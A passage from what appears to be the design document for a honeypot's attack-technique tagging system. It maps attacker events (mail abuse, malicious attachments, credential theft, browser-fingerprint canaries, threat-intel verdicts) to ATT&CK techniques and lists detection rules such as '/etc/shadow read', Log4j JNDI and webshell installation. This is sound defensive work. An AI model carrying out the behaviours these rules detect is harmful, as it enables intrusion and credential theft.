| Anonymous bind + search | TA0007 | T1087 | T1087.002 | H |
| BloodHound query signature | TA0007 | T1087 | T1087.002 | H |
| BloodHound query signature | TA0007 | T1482 | (none) | H |
| Bind brute | TA0006 | T1110 | (none) | H |
A.6 Mail (SMTP relay + non-relay, IMAP, POP3)
The largest single section. Every SMTP message is captured in full (headers + body + attachments) by both the relay and non-relay services; the email lifter consumes them. IMAP/POP3 provide additional auth-and-fetch patterns.
SMTP — connection & command-level
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
Auth brute (AUTH PLAIN/LOGIN) |
TA0006 | T1110 | (none) | H |
VRFY enumeration |
TA0007 | T1087 | (none) | H |
EXPN enumeration |
TA0007 | T1087 | (none) | H |
| Open relay test (foreign From + RCPT) | TA0043 | T1595 | (none) | H |
STARTTLS downgrade attempt |
TA0005 | T1562 | T1562.010 | M |
EHLO hostname matches scanner |
TA0043 | T1595 | T1595.002 | M |
SMTP — message-level (whole message; source_kind = "email")
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| RCPT count ≥ N (mass relay) | TA0040 | T1496 | (none) | H |
| RCPT count ≥ N + foreign From | TA0042 | T1586 | T1586.002 | H |
| RCPT count ≥ N + matching body across N | TA0001 | T1566 | (none) | H |
| Same body fingerprint, multiple Identities | TA0042 | T1583 | T1583.006 | H |
| Successful AUTH then large send burst | TA0042 | T1586 | T1586.002 | H |
SMTP — header-level (source_kind = "email_header")
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
From: ≠ Return-Path: domain |
TA0005 | T1036 | (none) | H |
From: ≠ MAIL FROM: domain |
TA0005 | T1036 | (none) | H |
Missing DKIM-Signature: |
TA0005 | T1036 | (none) | M |
Authentication-Results: SPF=fail |
TA0005 | T1036 | (none) | M |
Multiple Received: from scanner ASNs |
TA0011 | T1090 | (none) | M |
X-Mailer: matches phishing kit DB |
TA0001 | T1566 | (none) | H |
X-Mailer: matches phishing kit DB |
TA0042 | T1588 | T1588.001 | H |
Forged Date: header (skewed) |
TA0005 | T1070 | T1070.006 | M |
Reply-To: differs from From: domain |
TA0005 | T1036 | (none) | M |
| Brand-impersonating display name | TA0005 | T1036 | T1036.005 | H |
SMTP — body-level (source_kind = "email_body")
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| Credential-harvest landing-page link | TA0001 | T1566 | T1566.002 | H |
| Credential-harvest landing-page link | TA0009 | T1056 | T1056.003 | H |
IDN/punycode URL (xn--…) |
TA0005 | T1036 | T1036.005 | H |
IDN/punycode URL (xn--…) |
TA0001 | T1566 | T1566.002 | H |
| Brand impersonation in subject + body | TA0001 | T1566 | T1566.002 | H |
| BEC pattern (urgent wire / CEO) | TA0001 | T1566 | T1566.003 | H |
| Sextortion template + BTC address | TA0001 | T1566 | (none) | H |
| Sextortion template + BTC address | TA0040 | T1657 | (none) | M |
| Encoded payload (base64 ≥ N bytes) | TA0011 | T1071 | T1071.003 | H |
| Encoded payload (base64 ≥ N bytes) | TA0005 | T1027 | (none) | H |
| Tracking-pixel beacon URL | TA0007 | T1592 | (none) | M |
SMTP — attachment-level (source_kind = "email_attachment")
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| Office macro (OLE / VBA detected) | TA0002 | T1204 | T1204.002 | H |
| Office macro (OLE / VBA detected) | TA0001 | T1566 | T1566.001 | H |
| Password-protected ZIP/RAR/7z | TA0005 | T1027 | (none) | H |
| Password-protected ZIP/RAR/7z | TA0001 | T1566 | T1566.001 | H |
| HTML smuggling pattern | TA0005 | T1027 | T1027.006 | H |
.lnk / .iso / .img payload |
TA0002 | T1204 | T1204.002 | H |
| Hash matches MalwareBazaar | TA0002 | T1204 | T1204.002 | H |
| Hash matches MalwareBazaar | TA0042 | T1588 | T1588.001 | H |
| Executable masqueraded by extension | TA0005 | T1036 | T1036.008 | H |
IMAP / POP3
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| Auth brute | TA0006 | T1110 | (none) | H |
Successful auth + bulk FETCH |
TA0009 | T1114 | T1114.002 | H |
A.7 ICS / IoT
MQTT
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
Wildcard SUBSCRIBE (#) |
TA0100 (ICS) | T0801 | (none) | H |
| Auth brute | TA0006 | T1110 | (none) | H |
SNMP
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
Default community string (public) |
TA0007 | T1046 | (none) | H |
Default community string (public) |
TA0006 | T1078 | T1078.001 | H |
walk of full MIB |
TA0007 | T1046 | (none) | H |
SIP
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
OPTIONS scan |
TA0043 | T1595 | (none) | H |
REGISTER brute |
TA0006 | T1110 | (none) | H |
Conpot (Modbus / S7 / etc)
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| Modbus function-code scan | TA0102 (ICS) | T0846 | (none) | H |
| Coil/register write | TA0106 (ICS) | T0831 | (none) | H |
A.8 Cross-cutting
Fingerprints (sniffer-side, network-level)
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| JARM matches known C2 framework | TA0011 | T1071 | T1071.001 | H |
| HASSH matches known offensive tooling | TA0002 | T1059 | (none) | H |
| JA3 matches known scanner | TA0043 | T1595 | T1595.002 | M |
Canaries
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| AWS-key canary triggered | TA0006 | T1552 | T1552.001 | H |
| Honeydoc canary triggered | TA0009 | T1005 | (none) | H |
Payloads
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| ELF/PE upload | TA0011 | T1105 | (none) | H |
| Hash matches MalwareBazaar | TA0002 | T1059 | (none) | H |
| Shellcode signature | TA0002 | T1055 | (none) | H |
Identity-rollup-only (cross-Attacker; no single source row)
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| Same creds, ≥3 IPs same Identity | TA0006 | T1110 | T1110.003 | H |
| Same creds, ≥3 services same Identity | TA0006 | T1110 | T1110.004 | H |
| ≥3 ASNs in <24h, same Identity | TA0042 | T1583 | T1583.003 | M |
| Same body fingerprint, ≥2 Identities | TA0042 | T1583 | T1583.006 | H |
A.9 Canary fingerprint (browser payload derivations)
The canary fingerprint payload (decnet/canary/fingerprint_payload.js)
runs inside an opened HTML/SVG canary and harvests browser
primitives — navigator/screen/timezone/connection, canvas + WebGL +
audio + font fingerprints, WebRTC IP leak, perf timing jitter,
permissions, plus a composite identity hash.
Boundary discipline (see also "Enrichment vs tag boundary" in
Hard parts §7): the bulk fingerprint blob enriches
Attacker.fingerprints and feeds the clusterer; only specific
behavioral derivations below produce ttp_tag rows.
Two source kinds:
canary— the trigger event itself (the/c/<slug>fetch). Same rows as before.canary_fingerprint— derivations from the fingerprint payload.
canary trigger (source_kind = "canary")
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| AWS-key canary triggered | TA0006 | T1552 | T1552.001 | H |
| Honeydoc canary triggered | TA0009 | T1005 | (none) | H |
| Any canary triggered (generic) | TA0009 | T1005 | (none) | M |
Browser automation signals (source_kind = "canary_fingerprint")
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
navigator.webdriver === true |
TA0002 | T1059 | (none) | H |
| Canvas/audio hash matches Puppeteer signature | TA0002 | T1059 | (none) | H |
| Canvas/audio hash matches Puppeteer signature | TA0042 | T1588 | T1588.002 | H |
| Canvas/audio hash matches Playwright signature | TA0002 | T1059 | (none) | H |
| Canvas/audio hash matches Playwright signature | TA0042 | T1588 | T1588.002 | H |
| Canvas/audio hash matches Selenium signature | TA0002 | T1059 | (none) | H |
| WebGL unmasked renderer = SwiftShader (headless) | TA0002 | T1059 | (none) | H |
| WebGL unmasked renderer = llvmpipe (headless) | TA0002 | T1059 | (none) | H |
| Perf timing jitter signature consistent with VM | TA0042 | T1583 | T1583.001 | M |
Proxy / VPN / opsec leakage (source_kind = "canary_fingerprint")
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| WebRTC private IP doesn't match source-IP geo | TA0011 | T1090 | (none) | H |
| WebRTC reveals known Tor exit / VPN endpoint | TA0011 | T1090 | T1090.003 | H |
Intl timezone vs source-IP geo mismatch (>3 zones) |
TA0011 | T1090 | (none) | M |
navigator.language(s) vs source-IP country mismatch |
TA0011 | T1090 | (none) | M |
| Tor Browser canvas/font signature | TA0011 | T1090 | T1090.003 | M |
| Brave-shields / anti-fingerprint browser pattern | TA0005 | T1027 | (none) | M |
Masquerading / inconsistency (source_kind = "canary_fingerprint")
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
navigator.platform inconsistent with userAgent |
TA0005 | T1036 | (none) | H |
userAgent claims mobile, screen says desktop |
TA0005 | T1036 | (none) | M |
userAgent family vs WebGL renderer mismatch |
TA0005 | T1036 | (none) | M |
Identity-merge guard rail. The composite fp.id hash matching
across IPs/Identities is an identity-merge signal, NOT a TTP —
same argument as keystroke kd_digraph_simhash (Appendix D §D.3).
The lifter does not emit a TTP from a bare composite-hash match.
That signal goes upstream into the clusterer.
A.10 Intel verdicts (third-party providers)
source_kind = "intel_verdict" for everything in this section.
Source row is the AttackerIntel row matched by attacker_uuid.
All tags here are opportunistic — they only fire when the
enrich worker has populated the relevant per-provider column. A
fresh attacker with no intel row yet produces zero tags from this
engine, and the dashboard renders normally with whatever the other
engines produced.
AbuseIPDB categories
AbuseIPDB returns up to two categories per report plus an aggregate abuse-confidence score (0–100). Per-category mapping:
| AbuseIPDB category | Tactic | Technique | Sub-tech | Conf |
|---|---|---|---|---|
| 14 — Port Scan | TA0007 | T1046 | (none) | H |
| 14 — Port Scan | TA0043 | T1595 | T1595.001 | H |
| 15 — Hacking | TA0001 | T1190 | (none) | M |
| 18 — Brute-Force | TA0006 | T1110 | (none) | H |
| 18 + service=SSH | TA0006 | T1110 | T1110.001 | H |
| 19 — Bad Web Bot | TA0043 | T1595 | T1595.002 | M |
| 20 — Exploited Host | TA0001 | T1078 | (none) | M |
| 21 — Web App Attack | TA0001 | T1190 | (none) | H |
| 22 — SSH | TA0006 | T1110 | (none) | M |
| 23 — IoT Targeted | TA0001 | T1190 | (none) | M |
| 11 — Email Spam | TA0040 | T1496 | (none) | M |
| 11 — Email Spam (high score, ≥80) | TA0001 | T1566 | (none) | M |
| 10 — DDoS | TA0040 | T1498 | (none) | L |
| 5 — FTP Brute-Force | TA0006 | T1110 | (none) | H |
| 17 — VPN IP | TA0011 | T1090 | (none) | M |
| 9 — Open Proxy | TA0011 | T1090 | (none) | M |
| 4 — DDoS (untyped) | (drop — too muddy for v0) |
Final tag confidence = listed band × abuseipdb_score / 100.
GreyNoise classification + tags
| GreyNoise signal | Tactic | Technique | Sub-tech | Conf |
|---|---|---|---|---|
| classification = "malicious" | (no tag alone — needs tag) | |||
| classification = "benign" | (no tag — confidence-decrement existing tags) | |||
| classification = "scanner" | TA0043 | T1595 | T1595.002 | H |
| tag matches "tor_exit_node" | TA0011 | T1090 | T1090.003 | H |
| tag matches known C2 family (e.g. "cobalt_strike", "metasploit") | TA0011 | T1071 | T1071.001 | H |
| tag matches known C2 family | TA0042 | T1588 | T1588.001 | H |
| tag matches "ssh_bruteforcer" | TA0006 | T1110 | T1110.001 | H |
| tag matches "web_crawler" (non-Google) | TA0043 | T1595 | T1595.002 | M |
Final confidence = listed band × 1.0 (GreyNoise has no per-verdict score; classification is binary). Apply the "benign" decrement only to confidence-bumpable existing tags, never to identity- rollup or behavioral-lifter tags (those have independent substantiation).
abuse.ch Feodo Tracker
| Feodo signal | Tactic | Technique | Sub-tech | Conf |
|---|---|---|---|---|
feodo_listed = True |
TA0011 | T1071 | T1071.001 | H |
feodo_listed = True |
TA0042 | T1588 | T1588.001 | H |
feodo_raw.malware ∈ {Emotet, Dridex, QakBot, TrickBot, Heodo, …} → family attribution carried in evidence.malware_family |
(above tags) | (above) | (above) | H |
Family attribution lands in the tag evidence JSON. It does not
spawn additional technique tags by itself — that path is reserved
for ThreatFox where the IOC type genuinely varies.
abuse.ch ThreatFox
ThreatFox returns IOC type + malware family. Per-IOC-type mapping:
| ThreatFox IOC type | Tactic | Technique | Sub-tech | Conf |
|---|---|---|---|---|
botnet_cc |
TA0011 | T1071 | T1071.001 | H |
botnet_cc |
TA0042 | T1588 | T1588.001 | H |
payload_delivery |
TA0011 | T1105 | (none) | H |
payload_delivery |
TA0042 | T1588 | T1588.001 | H |
c2_server |
TA0011 | T1071 | T1071.001 | H |
download_url |
TA0011 | T1105 | (none) | H |
Family name (e.g. "cobalt_strike", "sliver", "havoc",
"asyncrat") is carried in evidence.malware_family for downstream
attribution. ThreatFox-derived tags carry the highest base
confidence in v0 (0.95) — the IOC database is curated.
Appendix B — Initial rule pack (v0)
Target: 40–55 rule files. A single rule may emit multiple techniques (see worked example). Picked by "what does our existing dataset already see most often, and what would an analyst most want to filter on?":
Shell / command (R0001–R0030)
R0001— generic auth brute (any service) → T1110R0002— password guessing per-account → T1110.001R0003— password spraying cross-account (identity-rollup) → T1110.003R0004— credential stuffing (CredentialReuse-driven) → T1110.004R0005— valid account use post-success → T1078R0006— default credentials → T1078.001R0007— sqlmap UA → T1190 + T1595.002R0008— Log4j JNDI → T1190R0009— path traversal → T1190R0010— Unix shell exec → T1059.004R0011— generic command/scripting → T1059R0012— ingress tool transfer → T1105R0013—/etc/passwdread → T1083R0014—/etc/shadowread → T1003.008R0015— SUID search → T1083 + T1548.001R0016— recursive find → T1083R0017— network service scan → T1046 + T1595R0018— system info discovery → T1082R0019— user discovery → T1033R0020— network config discovery → T1016R0021— network connections discovery → T1049R0022— LDAP account discovery → T1087.002 + T1482R0023— SMB share discovery → T1135R0024— local account creation → T1136.001R0025— cron persistence → T1053.003R0026— Redis SSH-key persistence → T1098.004R0027— webshell installation → T1505.003R0028— clear command history → T1070.003R0029— sudo abuse → T1548.003R0030— JARM/HASSH C2 fingerprint → T1071 + T1071.001
Behavioral / cross-event (R0031–R0040)
R0031— beaconing behavioral → T1071 + T1029R0032— data destruction (FLUSHALL/DROP/DELETE _all) → T1485R0033— ransom note pattern → T1486R0034— exfil over web → T1567R0035— DB mass-read → T1213R0036— credentials in files (env/git/canary) → T1552.001R0037— k8s service account tokens → T1552.007R0038— Docker host escape → T1611R0039— LLMNR poisoning → T1557.001R0040— TFTP router config retrieval → T1602.002
Email / SMTP (R0041–R0048)
R0041— open-relay abuse (high-RCPT, foreign From) → T1496 + T1586.002R0042— mass phishing campaign (RCPT count + body match) → T1566R0043— phishing kit X-Mailer signature → T1566 + T1588.001R0044— IDN/homoglyph URL in body → T1036.005 + T1566.002R0045— sender masquerade (From/Return-Path mismatch, DKIM) → T1036R0046— malicious attachment (macro/LNK/ISO/maldoc) → T1204.002 + T1566.001R0047— BEC pattern (urgent wire / CEO impersonation) → T1566.003R0048— encoded payload in body (base64 over threshold) → T1071.003 + T1027
Canary fingerprint (R0049–R0053)
R0049—navigator.webdriverautomation flag → T1059R0050— canvas/audio hash matches known automation tool (Puppeteer/Playwright/Selenium) → T1059 + T1588.002R0051— WebRTC IP leak: private IP doesn't match source-IP geo → T1090R0052— TZ / language vs source-IP geo mismatch → T1090R0053—navigator.platform/ userAgent / WebGL renderer inconsistency → T1036
Intel verdicts (R0054–R0058)
Each rule reads a specific provider column and emits per the mapping tables in Appendix A.10. All five tolerate absence silently — a null column is "no tag from this rule", never an error.
R0054— AbuseIPDB category → ATT&CK technique (per A.10 table)R0055— GreyNoise classification + tag → ATT&CK technique (per A.10 table)R0056— Feodo Tracker hit → T1071.001 + T1588.001 with family attributionR0057— ThreatFox IOC type → ATT&CK technique with family attributionR0058— Aggregate verdict = "malicious" with no specific provider mapping → confidence-bump existing tags only (no new tag emission)
Reserved (R0059–R0065)
ICS-specific (Modbus/S7), additional aggregate / session-end rules, plus any precision-target failures from the v0 cohort that need splitting. Rule slots reserved so IDs stay stable.
Appendix C — Rule precision targets
Per rule, before merge:
- High-confidence rules (≥0.85): must achieve ≥95% precision
on a manually-labelled holdout of 100 random matches from the
existing attacker corpus. Tests live in
tests/ttp/rule_precision/. - Medium-confidence rules (0.6–0.85): ≥80% precision on 100 matches.
- Low-confidence rules (<0.6): not shipped in v0. Hidden by default if added later.
Recall is intentionally not a v1 target. We would rather miss a technique than mislabel one — false positives flow to the SIEM and poison downstream automation.
Appendix D — Anticipated biometric lifters (deferred)
This appendix exists so that when keystroke biometrics ingestion
ships (SessionProfile columns become populated) and any further
biometric FK lands on AttackerIdentity, the integration point
into the TTP layer is already specified. Nothing in this appendix
ships in the v0 worker.
Architectural commitment: biometric features live on
SessionProfile and on AttackerIdentity (FK from there to
whatever biometric profile table emerges). The TTP worker reads
them via the existing session_id / identity_uuid joins on
ttp_tag. No biometric-specific columns are added to ttp_tag.
D.1 Source kinds (reserved)
keystroke_session— per-session keystroke-derived signal,source_id=SessionProfile.sid.biometric_match— cross-session keystroke similarity signal,source_id= synthetic match-event UUID assembled by the lifter.
D.2 Anticipated rules (illustrative, not pre-shipped)
| Source signal | Tactic | Technique | Sub-technique | Confidence |
|---|---|---|---|---|
kd_iki_mean < threshold AND kd_burst_ratio > threshold |
TA0002 | T1059 | (none) | 0.85 |
kd_start_of_action_latency ≈ 0 |
TA0002 | T1059 | (none) | 0.80 |
kd_pause_hist_distracted heavy (human signal) |
(adjustment) — confidence-decrement on automation tags | |||
| HASSH match + matching cross-session simhash cohort | TA0011 | T1071 | T1071.001 | 0.95 (bumped) |
| Bot-signal cluster + successful auth | TA0006 | T1110 | (none) | 0.95 (bumped) |
D.3 Explicit non-rule: identity merging is NOT a TTP
Cross-session kd_digraph_simhash matches are identity-merge
signals, not TTP signals. They belong upstream in the clusterer
(same typist across IPs → merge identities). Tagging them as TTPs
would be a category error and would pollute the technique
heatmap with non-behavioral inferences.
The lifter will deliberately NOT emit a TTP from the bare simhash match. It only emits TTPs when the cohort match is composed with a behavioral primitive (e.g., "matching simhash cohort + tooling fingerprint match → tooling-attribution-grade T1071.001 with elevated confidence").
D.4 Migration footprint when biometrics ships
ttp_tag: zero changes. Newsource_kindvalues appear in production data; existing rows are unaffected.decnet/ttp/impl/biometric_lifter.py: new file, new lifter registered with the worker.- New rule pack entries in
rules/biometric_*.yaml. - API: no new endpoints; existing
/by-identity//by-sessionsurfaces serve the new tags transparently. - UI: no schema-driven changes; existing TTP heatmap renders the new techniques like any other.
This is the forward-compat win: the infrastructure absorbs the new feature; only the content changes.
Appendix E — CDD plan (Contract-Driven Development)
This appendix lays out the order of work in CDD discipline: contracts first, tests second, implementation last. Nothing in this section is implementation; it specifies what to create and in what order.
The project's "commit per task with tests in the same commit" convention applies to the implementation phase. The contracts and test phases are themselves split into commit-sized steps.
E.1 Contracts
The contracts define shapes and signatures with no behavior.
Empty function bodies (raise NotImplementedError), empty API
endpoint handlers (returning [] typed correctly), empty Tagger
subclasses. The codebase compiles, mypy passes, the worker
registers, the API routes resolve — but nothing produces tags yet.
Contracts ship in this order, one commit per step:
E.1.1 — Schema contract (decnet/web/db/models/ttp.py)
Status: ✅ done.
TTPTagSQLModel with the schema from "Schema" section above, including:evidenceasdict[str, Any]over a SQLAlchemy JSON column (Column(JSON, nullable=False));attack_releaseas an indexedstrcolumn;__table_args__carrying theCheckConstraint("attacker_uuid IS NOT NULL OR identity_uuid IS NOT NULL", name="ttp_tag_has_anchor"); and an__init__guard that raisesValueErrorwhen both anchors are NULL (belt-and- braces for MySQL <8.0.16 where CHECK is silently ignored).- Per-
source_kindTypedDictdefinitions (CommandEvidence,IntelEvidence,EmailEvidence,CanaryFingerprintEvidence, …) declared in the same file alongsideTTPTagper the "all models in one place" project rule. Adding a newsource_kindrequires adding aTypedDicthere AND a shape entry intests/ttp/test_evidence_shape.py. compute_tag_uuid(source_kind, source_id, rule_id, rule_version, technique_id, sub_technique_id) -> str— deterministic UUIDv5 under the fixed namespaceuuid.UUID("decnet:ttp_tag:v1")(concretely:uuid.uuid5(_TTP_TAG_NS, "|".join(...))). Stable across processes and Python versions; produces a real RFC-4122 UUID string, not a truncated SHA-256. Empty function body permitted; the test phase pins the algorithm and the namespace constant.- Re-export from
decnet/web/db/models/__init__.py.
E.1.2 — Bus topic contract (decnet/bus/topics.py)
Status: ✅ done.
- New constants:
TTP_TAGGED,TTP_RULE_FIRED,TTP_RULE_SUPPRESSED. - Confirm
ATTACKER_INTEL_ENRICHEDexists (it does —"intel.enriched", topicattacker.intel.enriched), confirmIDENTITY_FORMED/IDENTITY_MERGEDexist (they do). - New
EMAIL_RECEIVEDtopic constant +EMAIL/TTProot prefixes- builders
email_topic(),ttp(),ttp_rule_fired().
- builders
- Wiki update (
wiki-checkout/Service-Bus.md) lands in the same commit per project convention.
E.1.3 — Tagger ABC (decnet/ttp/base.py)
Status: ✅ done.
class TaggerEvent(NamedTuple)— the input shape: source_kind, source_id, attacker_uuid, identity_uuid, session_id, decky_id, payload (opaque dict).class Tagger(ABC)withasync def tag(self, event: TaggerEvent) -> list[TTPTag]anddef name(self) -> str.class TolerantTagger(Tagger)mixin — wrapstag()so any uncaught exception is logged and[]returned, never propagated. Every lifter that consumes sibling-worker output inherits from this. The "tolerates absence" property is enforced in the base class, not on trust.
E.1.4 — Tagger factory (decnet/ttp/factory.py)
Status: ✅ done.
get_tagger() -> TaggerreadingDECNET_TTP_TAGGER_TYPEenv var. Mirrorsdecnet.intel.factoryanddecnet.clustering.factory.- Default
compositereturns aCompositeTaggerthat fans the event out to all registered lifters and concatenates results. _KNOWN: tuple[str, ...]enumerates the valid tagger names.
E.1.5 — RuleEngine contract (decnet/ttp/impl/rule_engine.py)
Status: ✅ done.
class CompiledRule(NamedTuple): rule_id, rule_version, name, applies_to, match_spec, emits, evidence_fields, state (RuleState).class RuleEngine:def __init__(self, store: RuleStore)— engine consumes from a store, never reads YAML directly.async def evaluate(self, event: TaggerEvent) -> list[TTPTag].async def watch_store(self) -> None— subscribes tostore.subscribe_changes()and atomically swaps individual compiled rules into the dispatch index.
class RuleSchema(Pydantic) for YAML rule validation. Owned by the store, not the engine — the engine receives already- validatedCompiledRuleobjects.
E.1.6 — Per-lifter contracts (one file each, all empty bodies)
Status: ✅ done.
decnet/ttp/impl/behavioral_lifter.py—BehavioralLifter(TolerantTagger).decnet/ttp/impl/intel_lifter.py—IntelLifter(TolerantTagger).decnet/ttp/impl/email_lifter.py—EmailLifter(TolerantTagger).decnet/ttp/impl/canary_fingerprint_lifter.py—CanaryFingerprintLifter(TolerantTagger).decnet/ttp/impl/identity_lifter.py—IdentityLifter(TolerantTagger).decnet/ttp/impl/credential_lifter.py—CredentialLifter(TolerantTagger).
Each declares the event source_kinds it handles via a class-level
HANDLES: frozenset[str]. The composite tagger uses this to skip
unrelated events.
E.1.7 — Worker contract (decnet/ttp/worker.py)
Status: ✅ done.
async def run_ttp_worker_loop(...)signature matchingdecnet/clustering/worker.pyanddecnet/intel/worker.py(the parameter shape is already standardised across workers — copy it).- Bus subscriptions enumerated as a module-level constant
_TOPICS: tuple[str, ...]so the test phase can assert subscription wiring without invoking the loop. - Worker registered in
decnet/web/worker_registry.pyas"ttp".
E.1.8 — UKC bridge contract (decnet/clustering/ukc.py)
Status: ✅ done.
ATTACK_TACTIC_TO_UKC: dict[str, UKCPhase]— the static map from the body of this doc.def tactic_to_ukc_phase(tactic: str) -> UKCPhase | None.- Inverse:
def ukc_phase_to_tactic(phase: UKCPhase) -> str | Nonefor places where the campaign clusterer projects back.
E.1.9 — API contract (decnet/web/router/ttp/)
Status: ✅ done.
- Six FastAPI router files matching the API surface above:
api_get_techniques.py,api_get_by_identity.py,api_get_by_attacker.py,api_get_by_campaign.py,api_get_by_session.py,api_get_rules.py,api_export_navigator.py. - Each handler returns the typed empty value (
[]for lists,{}for the Navigator JSON envelope). - Pydantic response models declared in
decnet/web/db/models/ttp.pyalongside the SQLModel (per the "all models in one place" project rule — the package surface, not the literal file). - Routers registered in
decnet/web/router/__init__.py.
E.1.10 — Repository contract (decnet/web/db/sqlmodel_repo/ttp.py)
Status: ✅ done.
async def insert_tags(rows: list[TTPTag]) -> int— bulk upsert withINSERT OR IGNOREsemantics for idempotency.async def list_techniques_by_identity(uuid: str) -> list[...].async def list_techniques_by_attacker(uuid: str) -> list[...].async def list_techniques_by_campaign(uuid: str) -> list[...].async def list_techniques_by_session(sid: str) -> list[...].async def list_distinct_techniques() -> list[...].- All return empty lists at contract phase.
E.1.11 — RuleStore contract
(decnet/ttp/store/{base.py, factory.py, impl/})
Status: ✅ done.
-
class RuleStatefrozen dataclass: state literal ("enabled" | "disabled" | "clipped"),confidence_max,expires_at,reason,set_by,set_at. Default constructor yieldsstate="enabled"with all other fieldsNone. -
class RuleChange(NamedTuple): change_kind ("definition" | "state"), rule_id, new_value (CompiledRule or RuleState). -
class RuleStore(ABC):async def load_compiled(self) -> list[CompiledRule].async def get_state(self, rule_id: str) -> RuleState.async def set_state(self, rule_id: str, state: RuleState, set_by: str) -> None.async def subscribe_changes(self) -> AsyncIterator[RuleChange].
-
decnet/ttp/store/factory.py—get_rule_store() -> RuleStorereadsDECNET_TTP_RULE_STORE_TYPE. Default"filesystem"._KNOWN: tuple[str, ...] = ("filesystem", "database"). -
FilesystemRuleStoreempty body. Will read./rules/ttp/, inotify-watch, hold state in-process dict. Filename filter (allowlist, not denylist): a path is accepted iff its basename fully matchesre.fullmatch(r"[A-Za-z0-9_]+\.ya?ml", basename). Anything else — vim swap (.foo.yaml.swp), atomic-save probes (4913), backups (foo.yaml~,.foo.yaml.bak), random tempfile conventions a future editor invents — is silently ignored, no parse, no log line. Denylists rot the moment an editor changes its scratch convention; the allowlist stops being clever. Applies identically to the initialload_compiled()walk and the inotify event handler. -
Inotify event mask (
FilesystemRuleStore):IN_MOVED_TO | IN_CREATE | IN_CLOSE_WRITE | IN_DELETE. Rationale, verified against an actualstraceof vim:IN_CLOSE_WRITE— vim writes in place via plainwrite(fd, …)to the target file and closes; the kernel firesIN_CLOSE_WRITEon the path. This is the dominant save signal for vim and most editors that keep an open file descriptor.IN_MOVED_TO— editors with atomic-write modes (gedit, some IDEs, vim with:set backupcopy=noplus a rename strategy,mv foo.yaml.tmp foo.yamlfrom a deploy script) write a tempfile thenrename()it onto the target. The kernel firesIN_MOVED_TOon the target.IN_CREATE— brand-new rule file appears (touch,cp).IN_DELETE— rule removed; engine drops the compiled rule from its dispatch index and emits attp.rule.reloaded.{rule_id}event with the rule absent from the new state.
Filenames that pass the filter and trigger ANY of these events go through the same compile + atomic-swap path. Filenames that fail the filter trigger neither parse nor log line, per the scratch-file rule above.
-
DatabaseRuleStoreempty body. Will mirror rule content intottp_ruletable, state inttp_rule_state. Two new SQLModels shipped in this contract step (alongsideTTPTagfrom E.1.1):class TTPRule(SQLModel, table=True): rule_id PK, rule_version, source_path, yaml_content, updated_at, updated_by (operator who pushed the edit; for filesystem store always "filesystem" / "git"; for DB store the admin JWT subject).class TTPRuleState(SQLModel, table=True): rule_id PK, state, confidence_max, expires_at, reason, set_by, set_at.
-
New bus topic constants for
ttp.rule.reloadedandttp.rule.statedeclared in this commit.
E.2 Tests
The test phase locks in the behavior contract. Tests pass against
the empty-body implementations only where the empty value is the
correct answer (e.g. "list_techniques_by_identity returns empty
list for an unknown identity"). Tests that pin behavior beyond the
trivial empty case must be marked
@pytest.mark.xfail(strict=True, reason="impl phase E.3.<step>")
in the contract commit so the suite is GREEN, not red, between
contract and implementation.
This is non-negotiable per the project's "every per-task commit
must include passing tests" rule. A 17-commit window of red CI
trains the team to ignore red CI; CDD discipline does not require
that. The strict=True flag turns an accidental early
xpass (the test starts passing because the impl landed early)
into a failure, so the marker is itself the trip-wire that says
"this test is now load-bearing — flip the marker."
The marker is removed in the same commit as the implementation step that makes the test pass (E.3.N). The "tests in the same commit as code" project rule applies to that flip: the impl and the marker-removal land together, never separately.
Tests ship in this order, one commit per step. Coverage targets in
tests/ttp/ mirroring source layout. The "GREEN at contract
time / xfail-flip at impl time" discipline above applies to
every test in this section.
E.2.1 — Schema invariant tests (tests/ttp/test_schema.py)
Status: ✅ done.
attacker_uuid OR identity_uuidCHECK constraint rejects rows with both null. Use a real engine (sqlite in-memory) — no mocks.- App-layer guard:
TTPTag(attacker_uuid=None, identity_uuid=None, ...)raises exactlyValueError(not a PydanticValidationError, not a bareException) and the exception message contains BOTH the literal substrings"attacker_uuid"AND"identity_uuid". Asserting both in the message pins the semantics so a future contributor cannot "simplify" the guard into a genericassertor a Pydantic field-validator without the test catching it. Covers MySQL <8.0.16 where the CHECK is silently ignored. - The guard runs BEFORE
super().__init__(). Test that reordering it to fire after Pydantic validation breaks the contract: introspect the__init__source viainspectand assert the guard'sraiseappears at a lower line number than thesuper().__init__call. confidenceoutside [0.0, 1.0] is rejected at insert.INSERT OR IGNOREon duplicateuuidis a no-op (no exception, no duplicate row).uuidcolumn accepts a real RFC-4122 UUID string (regex^[0-9a-f]{8}-[0-9a-f]{4}-5[0-9a-f]{3}-[0-9a-f]{4}-[0-9a-f]{12}$for UUIDv5) — pins the "this is a UUID, not a SHA-256 stub" property at the column level.evidenceround-trips as a Python dict (insert dict, read dict) — confirms the JSON column type wiring works on the dialect under test. Per dual-DB-backend convention this runs on both SQLite and MySQL via the existingdb_backendsfixture.
E.2.1b — Evidence shape contract (tests/ttp/test_evidence_shape.py)
Status: ✅ done (positive case + negative TypeError-propagation
case parked behind xfail(strict=True) until E.3.x lifter impl
lands; PII rule §6 type assertion is GREEN today).
- For each lifter, parametrize over a synthetic event matched by
one of its rules. Assert the
